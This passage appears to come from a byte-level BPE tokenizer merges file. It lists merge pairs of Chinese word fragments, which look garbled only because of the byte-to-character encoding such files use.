幸 +许 ä¹ħ +åĴĮ çĿ¦ +èŃ ½ +使ç͍èĢħ æĪĸ +ä¹° åįķ +è¿ ´ +é£İ æīĩ +æķĻ å¸« +æ¡ĮåŃIJ ä¸Ĭ +å¾Ī æ¼Ĥ亮 +åł± å°İ +第ä¸Ģ åŃ£åº¦ +ç©© å®ļ +æĤ² åĵĢ +çĿĢåĬĽ æīĵéĢł +æĮ Ł +è·¯ æ¡¥ +åij IJ +åľ£è¯ŀ èĬĤ +çļĩ åŃIJ +ä»ĩ æģ¨ +éħĿ éħ¿ +ä¸į éĹ´ +ä¸įéĹ´ æĸŃ +æĮĩ å°ĸ +ä¸ŃåĽ½ ç½ij游 +åŀ £ +æĦıè§ģ 建议 +æ¯ħ çĦ¶ +亮 度 +èģĶ è°Ĭ +å½ķ åħ¥ +åĦ ² +å¨ĺ å®¶ +ç§ij å°Ķ +ä¹Łæ²¡ ä»Ģä¹Ī +æł¹æį® ä¸įåIJĮ +åı¶ ä¿® +å̼ å®Ī +æľ« 端 +åĪ ¨ +åĤµ åĭĻ +èģ¯ åIJĪ +å¥ĩ å¹» +èĻļ æŀĦ +é»Ħ æĺı +å¹³ åĿ¦ +æµģ æ°ĵ +æĸ° åŁºå»º +æĮ½ æķij +åįİ å°Ķ +åįİå°Ķ è¡Ĺ +æľĢ åıĹæ¬¢è¿İ +ç»Ń 约 +å¼Ĭ 端 +éŃĶ æ³ķå¸Ī +éŃĶæ³ķå¸Ī åĴĮ +åħ·ä½ĵ åĨħ容 +çIJī çĴĥ +æī© 容 +èĮ¶ åĽŃ +主ä¹ī èĢħ +ç«ĭ éĿ¢ +æİ¥åıĹ éĩĩ访 +åĩº åħ¥å¢ĥ +ç§ij åįı +éĴ ³ +çµIJ æ§ĭ +ç»ĵæŀľ æĺ¾ç¤º +åı° è´¦ +å°± æĿ¥çľĭçľĭ +èĩª æķij +åıį æĩī +åİ» åĵªåĦ¿ +è¿Ļ é¦ĸ +è¿Ļé¦ĸ æŃĮ +åIJ¬ ä¼Ĺ +å¤ĸ 壳 +ä½ĵèĤ² é¦Ĩ +實 æĸ½ +èŀº ä¸Ŀ +æĭī åįĩ +çĮĽ åľ° +åħ¨åĽ½ 人æ°ij +æĤī å°¼ +æĹı 群 +åĽ¢ åijĺ +两个 å°ıæĹ¶ +åľ¨ çݩ家 +åľ¨çݩ家 ä¸Ń +çĶľ çĶľ +æĬķ è¡Į +åįĶ æľĥ +éĻ ¡ +åĬłå·¥ åİĤ +æ¦Ĩ æŀĹ +æŃ» è§Ĵ +åĨħ å¹ķ +æīĢæľī æĥħèĬĤ +åĪ· åį¡ +æ°´ èĤ¿ +èĥĥ åı£ +å«Į å¼ĥ +æ²® 丧 +ä¸īå¹´ 级 +æ¶Ĥ å±Ĥ +å¿ĥ 仪 +å¿ĥ仪 çļĦ +å¤ Ń +é¦ĸ è½® +æĹłè®ºæĺ¯ åħ¶ +éĢı æ°Ķ +äºĮ åįģäºĶ +ç® « +åĬŁ åĬ³ +çѾ ä¸ĭ +æ²ī è¿· +æķij åij½ +éĹª éĹª +åIJĥ äºı +å±ķ åĵģ +åį³æĹ¶ åıijçĶŁ +ç¶ ľ +ç¶ľ åIJĪ +æłĩ æĺİ +çľĭ ç͵影 +åħ¬ 竳 +éĺ¿ æ£® +éĺ¿æ£® 纳 +身 åĪĽéĢł +身åĪĽéĢł çļĦ +æ¸Ľ å°ij +å̼å¾Ĺ åħ³æ³¨ +鼶åĶ® åķĨ +æįĨ ç»ij +è¸ı åħ¥ +èĽ Ł +æŁ´ 纳 +èĢģ åħµ +绿èī² çݯä¿Ŀ +é¹ Ń +麻 æľ¨ +æıŃ çīĮ +è¿Ļ款 车 +ç¾İ å¾· +ç¾İå¾· åħ¬åı¸ +æ¶ § +è°ģ çŁ¥ +æ´ĭ èij± +æ¯į æł¡ +ä¸Ģ éĹª +çĶ· 主è§Ĵ +æĹłçº¿ ç͵ +å±ł å®° +æĺ¯ éŁ©åĽ½ +æĺ¯éŁ©åĽ½ 娱 +容 è²Į +åĿĩ 使åħ¶ +太 å¿« +å¹´ çͱ +å¹´çͱ 缼 +èĭ¦ èĭ¦ +åĬĽ è¿ĺæĺ¯ +åĬĽè¿ĺæĺ¯ èĩª +æĨ © +èģ¯ çµ¡ +åĶ ¾ +åħ·æľī æĪĺ士 +追 éĹ® +åłĨ æĶ¾ +åıį 驳 +å®ŀäºĭ æ±Ĥ +å®ŀäºĭæ±Ĥ æĺ¯ +åѸ éĻ¢ +åįģ åĩłä¸ª +æķij æĬ¤ +æķijæĬ¤ 车 +ç½ij绾 ä¼łæĴŃ +åįģåħ« å±Ĭ +éĥ¨ åī¯ +éĥ¨åī¯ éĥ¨éķ¿ +çĹ´ è¿· +管çIJĨ æĿ¡ä¾ĭ +èŀį 为ä¸Ģä½ĵ +æĢ» 产å̼ +è³ ĵ +ä¸ĥ æĺŁ +çıŃ ç»Ħ +绣 é¢Ĩ +请 大家 +éĩij éϵ +èĪħ èĪħ +æµ· æ¹¾ +æĸ½ çŃĸ +享 èªī +éº ¥ +端 åįĪ +绿 åŁİ +確 ä¿Ŀ +å·´ æĭī +åĨĴ çĿĢ +æħ· æħ¨ +个人 è§ĤçĤ¹ +ä¹Ļ çĥ¯ +ç¡ħ è°· +éĸĭ å±ķ +å°ļ 书 +åĿļ 飧 +åº µ +èĢģ é¾Ħ +èĢģé¾Ħ åĮĸ +羨 çľ¼ +绿 æ°´ +绿水 éĿĴå±± +书 é¦Ļ +主åĬĽ åĨĽ +æīįæĺ¯ 羣æŃ£ +æĬ¢ åħĪ +æĪIJå°± æĦŁ +éĩį æŀĦ +éĴ¢ åİĤ +æĪIJ 份 +èĬ± 纹 +ä¹ĭ äºī +å¹² ç»Ĩèĥŀ +æĹ¢ åı¯ä»¥ +ç¹ģ çIJIJ +æĦļ èł¢ +éĿŀ常 æĺİæĺ¾ +ä½ĵ 彩 +æĬĢ æ³ķ +æĿĨ èıĮ +å¹¿æ³Ľ åħ³æ³¨ +åĮĹ å®ĭ +å§Ĭ 妹 +åįı åĬŀ +æ·® åįĹ +çĥ ı +æ´Ĺ èĦ¸ +åıĹ è®¿ +åıĹ访 èĢħ +éĩįè¦ģ åĽłç´ł +å½±è§Ĩ åī§ +综èīº èĬĤ缮 +èľķ åıĺ +äºĮ 线 +äºĮ线 åŁİå¸Ĥ +ä¼Ĭ å§ĭ +çıĬ çijļ +èĩª æŁ¥ +åħ¥ åĽŃ +åĩ¶ æīĭ +åħ¬ è¯ī +éģĩ éļ¾ +éĩĩçŁ¿ çŃī +èĩª çIJĨ +åĸ· æ¶Ĥ +æī© åħħ +éĢı è§Ĩ +é«ĺéĢŁ å¢ŀéķ¿ +åĽ¾ çĶ» +ç¾ ¹ +èĤĩ åºĨ +è¾ľ è´Ł +èµĶ ä»ĺ +è· ¡ +åģ¥åº· æĪIJéķ¿ +以ä¸Ĭ åѦåİĨ +åıĸå¾Ĺ 以åıĬ +æ²ī 积 +åįģä¹Ŀ å±Ĭ +缸éĹľ æľįåĭĻ +æī§ åĭ¤ +åī¯ åİ¿éķ¿ +å¯ ° +åģľ æ»ŀ +æ·¹ 没 +çŁ³ çģ° +çį ¸ +åĢ ¦ +ç¾İ åªĴ +æķĻ æ¡Ī +åĬł çĽĸ +åħ¬å¼Ģ èµĽ +å¥ł åŁº +æĺĨ èĻ« +çŀ ħ +磷 éħ¸ +äºī åĪĽ +çİĭ æĻĵ +ç¼ĵ åĨ² +åİļ åİļ +åİļåİļ çļĦ +æŀ£ åºĦ +ç²¾ çĽĬ +ç²¾çĽĬ æ±Ĥ +ç²¾çĽĬæ±Ĥ ç²¾ +åĪĨæĶ¯ æľºæŀĦ +å®ŀæĸ½ ç»ĨåĪĻ +æĸ° èµĽåŃ£ +總 çµ± +éĢł è¡Ģ +é¢ĩ åħ· +é»Ħ åŁĶ +è¡Ģ èĦĤ +交éĢļ å·¥åħ· +å³ ¥ +æĹıèĩªæ²» å·ŀ +寺 éĻ¢ +確 å®ļ +æ¦Ĥ念 èĤ¡ +æĦŁ å®ĺ +æŁľ åı° +åĶ Ķ +çŀŃè§£ 並 +æĢ» ä»· +åIJ¸ åħ¥ +æĢ ¼ +æĻļ éĹ´ +å±Ĭ æ¯ķä¸ļçĶŁ +çĶŁ å§ľ +éĺħ读 åħ¨æĸĩ +å¾Ĺåΰ æľīæķĪ +æIJľ æķij +åİĨ æĿ¥ +èŃī æĺİ +åĥ » +èĨ³ é£Ł +åĦĦ åħĥ +æīĵ åİĭ +宾 客 +åķ ¼ +ä¸ĢçϾ å¤ļ +æ·±åħ¥ 人å¿ĥ +æ¢ħ å·ŀ +çłĶ åѦ +åħ³ ä¹İ +è¼ Ľ +亲 åıĭ +éħį æĸĻ +æĪij çĪ±ä½ł +è´¸æĺĵ æĪĺ +æľī èī² +æľīèī² éĩijå±ŀ +æįIJ åĬ© +为 é¦ĸ +为é¦ĸ çļĦ +å¯Į åĬĽ +çĶ· ç¥ŀ +é³ ³ +æµĩ æ°´ +åIJ ± +æĺİç¡® æıIJåĩº +åı¹ äºĨ +åı¹äºĨ åı£æ°Ķ +礼 æĭľ +è¿Ļ个 åIJįåŃĹ +ä¿¡ å¾Ĵ +å¿Ĺ 强 +éĻIJ æĹ¶ +æĶ¶ è²» +åĨľå®¶ ä¹IJ +å°ıé¾Ļ èϾ +èIJ½ å¹ķ +æ§ Ł +åѦ 龸 +æĪĸ å¤ļ +æĪĸå¤ļ æĪĸ +æĪĸå¤ļæĪĸ å°ij +座è°Ī ä¼ļä¸Ĭ +æ¶ ¼ +éŃĶ çİĭ +å² ± +é¡¶ å±Ĥ +é¡¶å±Ĥ 设计 +èĦij åŃIJéĩĮ +éĻ¢ åŃIJéĩĮ +轩 è¾ķ +身å¿ĥ åģ¥åº· +èħ ij +éĹľ 注 +åıĤåĬł ä¼ļè®® +ä¸Ńåįİ æĸĩåĮĸ +追 寻 +å®ī çĦ¶ +é£Ļ åįĩ +éŁŃ èıľ +é¸ ¦ +åĤ¨ éĩı +çĶ· æĸ¹ +å¤ĩ 份 +æijĶ åĢĴ +润æ»ij æ²¹ +é̼ è¿ij +çͳ è¯ī +鸣 ç±» +çŁ³æ²¹ åĮĸå·¥ +åĿļ æŀľ +è¿Ļå®¶ ä¼Ļ +æĭĴ ä¸į +羣 çļ® +è·Ŀ éĽ¢ +è¿ĺ æĮº +éĽķ åĥı +åĪĿ æģĭ +æıIJä¾Ľ æĽ´å¤ļ +æŁ¥çľĭ åħ¨æĸĩ +æķ°åŃĹ è´§å¸ģ +åĸī åĴĻ +åı¦ä¸Ģ ä½į +åĤ¬ åĮĸ +åĤ¬åĮĸ åīĤ +ä»İæĿ¥ 没 +å¯ĨåĪĩ 缸åħ³ +éĥ¨ 主任 +产åĵģ ç»ıçIJĨ +並 åIJĮæĦı +èIJ½ åħ¥ +å±ıå¹ķ ä¸Ĭ +åħ¬åı¸ 竳ç¨ĭ +æį¢ åı¥è¯Ŀ +æį¢åı¥è¯Ŀ 说 +ä½į æĸ¼ +ä½ Ķ +åĩ» æĿĢ +缸 è¾ĥ +缸è¾ĥ äºİ +ç²½ åŃIJ +åįĹ æŀģ +宫 é¢Ī +è£ģ åijĺ +æĺİ ç»Ĩ +ä»·å̼ éĵ¾ +åĽĽä¸ª æĸ¹éĿ¢ +æĥħåĨµ æĿ¥çľĭ +æĮij åīĶ +æ® ĺ +æŀģ åĬĽ +çĸij éļ¾ +æĬµæĬĹ åĬĽ +æĢ¥ éĢŁ +æĪ Į +ä½İ ä¼° +éĹª è¿ĩ +æģ ¬ +èµŀ æī¬ +ä»ĸ å¦Ī +æĪIJ为 ä¸ĢåIJį +æ´Ĺ 礼 +é¢Ħ计 å°Ĩ +åħĪè¿Ľ åįķä½į +è¼ Ķ +éĢĥ èĦ± +çݰ åŃĺ +èĢģèĻİ æľº +åįģä¸ĥ æĿ¡ +åı¦ä¸Ģ åįĬ +温 æĥħ +åī¥ ç¦» +ä¸ĸ è´¸ +å®ĺ åı¸ +å¾Ī å·® +éĹ´ è·Ŀ +请 注æĦı +åı² è¯Ĺ +åĪ© åύ +è¿IJ ç®Ĺ +沦 为 +該 使ç͍èĢħ +èĮ ¬ +éͦ 绣 +åı² æĸĻ +çģµ æ´»æĢ§ +èģĶ ç¤¾ +æĹł åĬ© +æĬĹ æ°§åĮĸ +èıľ èĤ´ +éĢł èι +æİī èIJ½ +å¤į æŁ¥ +åĭĥ åĭĥ +åij¼ 声 +給 äºĪ +åIJĮäºĭ 们 +ç½ ° +è¯ķ æİ¢ +åħ³éĶ® åŃĹ +æįIJ çĮ® +ç»Łè®¡ æķ°æį® +åĪĽ ä½ľèĢħ +ä¸ĭ åįĬ +ä¸ĭåįĬ åľº +æī¿æĭħ 责任 +端 æŃ£ +ç©¿ è¡£ +ä¼ł çIJĥ +åĬ© éķ¿ +åĩ ± +éķ¶ åµĮ +é£ŀ ç¿Ķ +è¾ĵ åįµ +è¾ĵåįµ ç®¡ +ä¸ĩ åħ¬éĩĮ +æİ¨å¹¿ åºĶç͍ +å¿« æ¨Ĥ +ç§ ½ +èī° å·¨ +åIJ¬ å®Į +åĿļ 硬 +奥 åľ° +å¥¥åľ° åĪ© +é¢ ĵ +èĻIJ å¾ħ +ä¾Ľ æ±Ĥ +éľī ç´ł +伪 è£ħ +乡 åľŁ +åĩ¡ æľ¬ç½ij +åĩ¡æľ¬ç½ij 注 +ä¼Ĭ åĪ© +è¡¡ æ°´ +æĽ´ åĥıæĺ¯ +åĪĨéĴŁ å·¦åı³ +è¦ı 模 +äºĶ åĪĨéĴŁ +åºĹ åĬłçĽŁ +åĽ° éĽ£ +åħ³ åģľ +æĢĿ 绪 +åĴ½ åĸī +缸 符 +çĥ¦ èºģ +æĻĤ æľŁ +åijĪ çı¾ +è§£ æķ£ +诱 导 +éļĶ çĥŃ +çĮ ¶ +åįĹ å®ĭ +æ·±åħ¥ äºĨè§£ +çŃĶ çĸij +æĺ¼ å¤ľ +åįĥ ä¼ı +åĬ³åĬ¡ æ´¾éģ£ +红 è±Ĩ +åĿı äºĭ +çĤ¹ æ»´ +å°±ä¸ļ å²Ĺä½į +约 åIJĪ +åħį éϤ +éĢĨ åĬ¿ +éĩį éĩijå±ŀ +å®ĺ 宣 +ä½İ å»ī +æģ¨ ä¸įå¾Ĺ +å¾Ĺ 天 +å¾Ĺ天 çĭ¬ +å¾Ĺ天çĭ¬ åİļ +ä¸Ģå°ģ ä¿¡ +æĬ½ å¥ĸ +è¾Ĺ 转 +çķĻ å®Ī +çķĻå®Ī åĦ¿ç«¥ +çŃĶ åį· +å·¨ åŀĭ +æľĢ好 ä¸įè¦ģ +æµĻæ±Ł 大åѦ +æĨ ¨ +æı¡ æīĭ +éĴĪ ç»ĩ +æİĴ 骨 +çĤ ½ +å°ģ è£ħ +åįĢ åŁŁ +空æ°Ķ åĩĢåĮĸ +åħī å½± +åĢĴ å¡Į +å§ļ æĺİ +æ¤į 被 +åѦ åīį +åѦåīį æķĻèĤ² +èĬĿ åĬł +èĬĿåĬł åĵ¥ +缩 æ°´ +ä½ Ł +åľ¨çº¿ åĴ¨è¯¢ +èµı æŀIJ +éĿĴ èĽĻ +æĬ± ä½ı +èĮĤ åIJį +åħ¨åĬĽ æīĵéĢł +åįļ士 åѦä½į +æ²§ å·ŀ +åĻ ¢ +æĿĤ çī© +åĪ» çĶ» +æį ħ +å¾® éĩı +å¾®éĩı åħĥç´ł +ä¸Ģ åĽŀäºĭ +鸡 èĤī +åĪ©æ¶¦ çİĩ +æīį ç®Ĺ +å¾® å¦Ļ +棵 æłij +è´ª 婪 +åĩı å̼ +梦 å¢ĥ +åı¯ è§Ĩ +åı¯è§Ĩ åĮĸ +广大 å¸Ĥæ°ij +ä¸ĵä¸ļ ä»İäºĭ +ç»ı 纬 +ç´§ çĽ¯ +çŁ¥ å·± +è¤ ļ +æĸĩåĮĸ åºķèķ´ +åݦéŨ å¸Ĥ +临 港 +对åħ¶ 羣å®ŀ +岸 è¾¹ +è¦ĸ çĤº +æĬĹ çĻĮ +åĶIJ å®ĩ +ä¸įå¾Ĺ è¶ħè¿ĩ +å¨ģ æħij +æ¡Ĩæŀ¶ åįıè®® +èµ° ç§ģ +åĽ¢ å§Ķ +夸 大 +æ¬ Ħ +ç¥ŀç»ı ç³»ç»Ł +æijĦå½± ä½ľåĵģ +èĬ ¥ +å®ī åºĨ +æµ· 滨 +æŀĦ æĢĿ +çīµ æĮĤ +åı © +éĺIJ æĺİ +éģ ģ +ç²¾ æ²¹ +ç©´ ä½į +æĬ¤ 身 +æĬ¤èº« 符 +æĮĩ å°İ +åŃĺåľ¨ ä¸Ģå®ļ +å¯Ĥ éĿĻ +æµ·å¤ĸ å¸Ĥåľº +éĿ ¡ +综åIJĪ å¾ģ +ä¿ IJ +è¨Ī ç®Ĺ +æĺİ æľĹ +äºļ è¿IJ +äºļè¿IJ ä¼ļ +åīįçŀ» æĢ§ +åĮ® ä¹ı +产ä¸ļ æī¶è´« +èĦij æµ· +èĦijæµ· ä¸Ń +åħļçļĦ é¢Ĩ导 +åĪĺ éĤ¦ +æµģ æĺŁ +æĵ Ĥ +æĶĢ çĻ» +åĴ Ķ +ä¸Ģä¸ĭåŃIJ å°± +è¯Ĭ æ²» +使 åĬ² +åīµ ä½ľ +éĵŃ è®° +éĴ± è´¢ +æĹ¥æĬ¥ è®°èĢħ +çĥŁ çģ« +èĥľ è´Ł +åįļ 主 +ä¸ŃåĽ½ èģĶéĢļ +ç½ijç«Ļ é¦ĸ页 +å°± å¤Ł +å°±å¤Ł äºĨ +æīij åħĭ +å±ħ å§Ķä¼ļ +è° ¬ +å®īåħ¨ äºĭæķħ +åķĨ çĶ¨è½¦ +循çݯ ç»ıæµİ +æ· ¤ +èĢĥ è¯ģ +å®Ŀ èĹı +å®Į ç»ĵ +çłĶåıij æĬķåħ¥ +å² ij +æģŃ æķ¬ +离 éĢĢä¼ij +æ°´ 墨 +å© ¶ +è¯Ĺ åı¥ +å®ģæ³¢ å¸Ĥ +å¼± çĤ¹ +åģľ çīĮ +奶 æ²¹ +å¥ĩ纳 æ²³ +æĨ Ĥ +社ä¼ļ å®ŀè·µ +è´Ŀ 壳 +çłĤ æµĨ +èι åıª +宣 æī¬ +综åIJĪ æķ´æ²» +åĤ ij +æ°ijæĹı æĸĩåĮĸ +éĩį çݰ +积 æ·Ģ +åħ¬ çĦ¶ +çħ ī +缸 èģļ +æ± ¾ +纹 çIJĨ +çĩĥ çħ¤ +æŃ¤ ç§į +ç¾İ å¦Ĩ +åįĥ çĵ¦ +çIJ Ľ +驾驶 è¯ģ +éĺ¶ æ¢¯ +ä¸Ŀ ä¸Ŀ +å¾Īå¤ļ äºĭæĥħ +åħī éĺ´ +èijĹä½ľ æ¬Ĭ +åħ§ éĥ¨ +çĽ¸å¯¹ æĿ¥è¯´ +éĸ Ĵ +éľĩ æħij +說 話 +æĨ ij +ç«¥ è£ħ +ä½ıæĪ¿ åĴĮ +ä½ıæĪ¿åĴĮ åŁİ +å·²ç»ı è¶ħè¿ĩ +侦 å¯Ł +çŁ¿ çī© +ä¾Ľ 大家 +çī¹ éĤĢ +ç¨ĭåºı åijĺ +çķľçī§ ä¸ļ +æ° ª +çij ª +åĢĴ åľ¨ +åĢĴåľ¨ åľ° +æ¯ Ģ +梯 éĺŁ +æİ¥ èijĹ +æĬĹ èıĮ +è¤ ĩ +ç¬ Ļ +æ¯Ķ ä¸Ĭå¹´ +鸡 汤 +åŃ¦ä¹ł æĪIJ绩 +æĸij æĸĵ +åħΠ坼 +åĪĹ ä¸¾ +è°ĥæŁ¥ æĺ¾ç¤º +æ© « +ä¹Ŀ åįģ +è°¢ 飵 +è·¨è¶Ĭ å¼ı +女æĢ§ æľĭåıĭ +èIJ¥åħ» ä»·å̼ +å®ŀè·µ ç»ıéªĮ +èĭı å·ŀå¸Ĥ +çĵ¶ åŃIJ +æĸ° çļĦä¸Ģ +æĸ°çļĦä¸Ģ å¹´ +æĺİ æĻ° +å®ł çα +åŃŠ第 +æľĹ 诵 +纳 æĸ¯ +éĢĨ è¡Į +è«ĭ æĤ¨ +è«ĭæĤ¨ æıIJä¾Ľ +èĥ¸ æĢĢ +第ä¸ĥ å±Ĭ +强 壮 +代 åŃķ +æ±¶ å·Ŀ +å®¶ åĸ» +å®¶åĸ» æĪ· +å®¶åĸ»æĪ· æĻĵ +èħ ® +åIJ¯ 迪 +æĹł éļľç¢į +èĻķçIJĨ åıĬ +æĿ¥ åİĨ +å®ŀ åĬ¡ +ä¹Ł éļıä¹ĭ +æĬĢèĥ½ åŁ¹è®Ń +åѤ ç«ĭ +åī ģ +éĥ´ å·ŀ +æĶ¶ æķĽ +éł» éģĵ +èᣠ幏 +èİ« è¿ĩäºİ +æŃ¤ æĻĤ +纪å§Ķ çĽij +纪å§ĶçĽij å§Ķ +缸 éĤ» +åı¦ä¸Ģ è¾¹ +çªĴ æģ¯ +æľīå¾Īå¤ļ ç§į +æ¯ı éĢ¢ +éĹ® ä¸ĸ +ç´¯ ç´¯ +éĿĴæĺ¥ æľŁ +è·¯ åĨµ +åħĭ èݱ +è¿Ħä»Ĭ 为æŃ¢ +æĥĬ å¥ĩ +è·¨ 度 +éħ¿ éĢł +åĩ ĭ +è¿ij ä¸īå¹´ +åĨħ 马 +åĨħ马 å°Ķ +æı į +è¿Ľå±ķ æĥħåĨµ +èĮ § +æľīåºı æİ¨è¿Ľ +æĢ» åĨłåĨĽ +æĪIJ绩 åįķ +éĽ»è©± åıĬ +ç´§å¯Ĩ ç»ĵåIJĪ +åºĬ ä½į +é¹ Ĭ +æķ£åıij çĿĢ +åĭŁ èµĦ +æ°¨ éħ¸ +彩 ç¥ŀ +è®Ģ åıĸ +éĩį æ¸© +ä¸Ń åŃĺåľ¨çļĦ +ç¾İ éºĹ +ä¸įæĸŃ å¢ŀåĬł +è½® æµģ +æİ¥ åIJ¬ +å¹´ 产å̼ +åįĥ åħĭ +æĪĺåľº ä¸Ĭ +çħ§ é¡§ +å¹²éĥ¨ éĺŁä¼į +åį° ç«ł +ä¸Ģèĩ´ æĢ§ +è¿ŀ å¤ľ +åħħ è£ķ +é»ij åIJįåįķ +åĩĢ æ°´ +ä¸Ģ大 æĹ© +åĮħ 袱 +çĬ¯ è§Ħ +çIJĨ è«ĸ +æŀģ æĺĵ +éª ¸ +å¨ĺ å¨ĺ +åĽ¢ åľĨ +亿åħĥ 以ä¸Ĭ +åĪ©ç͍ æĤ¨çļĦ +带æĿ¥ æĽ´å¤ļ +ä¸Ń央 空è°ĥ +æľĪ èĸª +çĮľ æĥ³ +åĪº 客 +ä½ľ æģ¯ +åįķ è°ĥ +äºĴ åĪ© +å¦Ĥæľī ä¾µæĿĥ +å°ı å·§ +åįģ åł° +åĵĪåĵĪ åĵĪåĵĪ +è¾¹ éĻħ +æłĩ è¯Ń +åĪĩåħ¥ çĤ¹ +éĢĨ è¢Ń +è¯ķ åīĤ +绿 è±Ĩ +è® ļ +åŁºçĿ£ å¾Ĵ +å£ ¬ +åħ¨ æĺİæĺŁ +éĢī ç§Ģ +èĪĮ å°ĸ +ä¸įåIJĮ ç±»åŀĭ +çĥŁ åĽ± +çģµ æ°Ķ +åĮº 管å§Ķä¼ļ +åĨľ åī¯ +åĨľåī¯ äº§åĵģ +èĶļ æĿ¥ +沪 æĮĩ +åħ»æ®ĸ æĪ· +æĸĹ å¿Ĺ +é¦ĸ é¢Ĩ +è¡Ģ èħ¥ +åĬł ç´§ +ä¸Ģèĩ´ 好è¯Ħ +第ä¸ī èĬĤ +æī¬ å°ĺ +交éĢļ æŀ¢çº½ +鼶 ç¢İ +é»ij æ´ŀ +çľĭ ä¸įæĩĤ +å±ŀ å®ŀ +主 åŁİåĮº +å¨ Ľ +å¨Ľ æ¨Ĥ +ç¬ij æĦı +èϹ æ¡¥ +åIJĦ个 çݯèĬĤ +çķ¥ å¾® +èĢķ èĢĺ +æľ¬ åľºæ¯ĶèµĽ +æĪIJ è´¥ +éĢī èĤ¡ +èªŀ è¨Ģ +çŃĶ è¾© +èĩª ä¹ł +æ£ º +ä¸ĩ 欧åħĥ +åģľ å·¥ +对åħ¶ è¿Ľè¡Į +积æŀģ éħįåIJĪ +ä¹¾ åĿ¤ +å¦ĸ æĢª +èļĮ åŁł +èµĦ产 è¯Ħä¼° +è°ĥ çļ® +éϤ å¤ķ +åĽ´ å¢Ļ +æľį å½¹ +æ·± æ¸Ĭ +é¢Ħ åζ +ç ĥ½ +å®ī 稳 +建 æŀĦ +çĭĻ åĩ» +主åĭķ 註åĨĬ +éĥ½æľī èĩªå·± +æİĴåIJį 第ä¸Ģ +麻 è¾£ +çĢ ļ +çĥŁèĬ± çĪĨ +çĥŁèĬ±çĪĨ 竹 +èĩªçĦ¶ ä¿ĿæĬ¤ +ä»Ļ å¢ĥ +为äºĨ éģ¿åħį +åĨ· åºĵ +è§£æĶ¾ æĢĿæĥ³ +åĪĿ äºĮ +ä½ĵ è´´ +é¦ĸ å¯Į +迪 æĭľ +æļĤ ç¼ĵ +æĶ¯æĮģ åĬĽåº¦ +侦 æİ¢ +马 åĪº +åĮĹ æ±½ +ç¹ ŀ +è°İ è¨Ģ +éĢ£ çºĮ +å· ³ +ä»»ä½ķ æĹ¶åĢĻ +车 èģĶç½ij +åįķ 项 +å¸Ń åį· +建çŃij æĿIJæĸĻ +ä¸Ńç§ĭ èĬĤ +ç¡ķ士 çłĶç©¶ +ç§ģ ç«ĭ +åħļåĴĮ æĶ¿åºľ +æľ¬æ¬¡ 交æĺĵ +èººåľ¨ åºĬä¸Ĭ +ç½ijåıĭ è¯Ħ论 +å¦ Ŀ +害 ç¾ŀ +åħ¬ç«ĭ åĮ»éĻ¢ +ä¸ ŀ +çĶŁçī© è´¨ +åºĶ éĤĢ +æĬ½ åıĸ +åĩł å¼ł +æijĺ ç¼ĸ +ç»ĺ æľ¬ +详 è§£ +强 硬 +æľĢ åħĪè¿ĽçļĦ +æĭĽ èĤ¡ +æĭĽèĤ¡ 书 +åįĥ æĸ¹ +åįĥæĸ¹ çϾ +åįĥæĸ¹çϾ 计 +éħį éŁ³ +驾 çħ§ +å¾ģ æĪĺ +èªĵ è¨Ģ +æĭľ å¸Ī +æĭľå¸Ī åѦ +æĭľå¸ĪåѦ èīº +æĬ± åĽ¢ +ç±³ ç²ī +éĿŀ常 éĢĤåIJĪ +èĪª æµ· +å±¥ 约 +åįģåħ« æĿ¡ +éĶ» éĢł +éĩįè¦ģ 举æİª +åıijæĮ¥ ä½ľç͍ +æ· ļ +人 社 +人社 å±Ģ +è¯ķçĤ¹ å·¥ä½ľ +éĺľ éĺ³ +æ¡ĥ åľĴ +æ°ij ä¼ģ +æ´ģ çϽ +è´µ 宾 +åħ¬ 社 +è§ī æĤŁ +è®°å¿Ĩ åĬĽ +æľĥåĵ¡ 註åĨĬ +æŃ¤ æ¡Ī +麻 çĹ¹ +çı Ģ +æĸ© èİ· +çĶ· åŃ©åŃIJ +å±ĢéĻIJ äºİ +åĭĺ æŁ¥ +åIJĥ 饱 +èĬ¬ åħ° +æ£ķ èī² +ç¦ı ç¥ī +çͳ èĬ± +æµ· çĽĹ +èĶ ij +æĸĩ åѸ +æ´»æĢ§ çĤŃ +缴 éĢļ车 +è°¢ éĤĢ +躺 çĿĢ +åľ ĥ +æ¯ıæĹ¥ ç»ıæµİ +åħ¬åħ± æĸĩåĮĸ +讲 æķħäºĭ +å¯Ł çľĭ +æĤł éĹ² +åľ° åĿª +æ¶Į çݰåĩº +é«ĺçŃī éĻ¢æł¡ +èĮĦ åŃIJ +éĺ² åį« +ä¾ĭ è¡Į +æĺ¾ éľ² +æĸ° 常æĢģ +ç»Ŀ ä½³ +å¯Į æ°ij +以 人æ°ij +以人æ°ij 为 +éĤ¢ åı° +å±ķ æ¼Ķ +çϼ å¸ĥ +è´Ł è½½ +åģı 离 +æ°¸ éģł +éĩįè¦ģ åİŁåĽł +åįıä¼ļ ä¼ļåijĺ +éļ¾ æ°ij +çĶŁäº§ 车éĹ´ +çģµ åĬ¨ +两年 åīį +æĸ¹ åľĨ +æ´» ä¸ĭåİ» +ä¸ĸçķĮ è§Ĥ +éªĹ åıĸ +ç¾İ è²Į +èĥ½ çľĭåĩº +çϼ æı® +è§Ĥ å½± +åī ĥ +åIJĪèµĦ åħ¬åı¸ +å© § +å¹² æĹ± +åħŃ ä¸ªæľĪ +尤为 éĩįè¦ģ +èĤ ½ +秦 åĽ½ +æīĺ ç¦ı +建çŃij å¸Ī +åįĩ级 æĶ¹éĢł +å°ı é¢Ŀ +å°ıé¢Ŀ 贷款 +两个 ç»´æĬ¤ +æĭį æĭį +åı¯ çĸij +æį¢ åıĸ +æŃ¦ 士 +èµĸ 以 +èµĸ以 çĶŁåŃĺ +æĮ ļ +殿 åłĤ +èĩªçĦ¶ çķĮ +ç£ģ åľº +å¦Ĥä½ķ çľĭå¾ħ +ä»ĬæĹ¥ 头æĿ¡ +西 åŁŁ +èİ· è¯Ħ +風 æł¼ +ä¿Ħ åĽ½ +æīĵ æĭ¼ +å®£ä¼ł çīĩ +å¾Ī æĸ¹ä¾¿ +ä¾Ľç»Ļ ä¾§ +纪念 ç¢ij +毫 åħĭ +èĬ³ é¦Ļ +å·¥åķĨ éĵ¶è¡Į +请 çĤ¹åĩ» +ç¼ ª +æĹłæķ° 次 +èᝠå¸Ī +èħ ¸ +游 èīĩ +åĮ ¾ +å·¡ èĪª +æ²»çIJĨ ä½ĵç³» +èIJ¥éĢł èī¯å¥½ +æ·· æ·Ĩ +éĢļ çķħ +åĬ³ ç´¯ +ä»ĵ ä½į +å¢ŀ éķ· +éļIJ 约 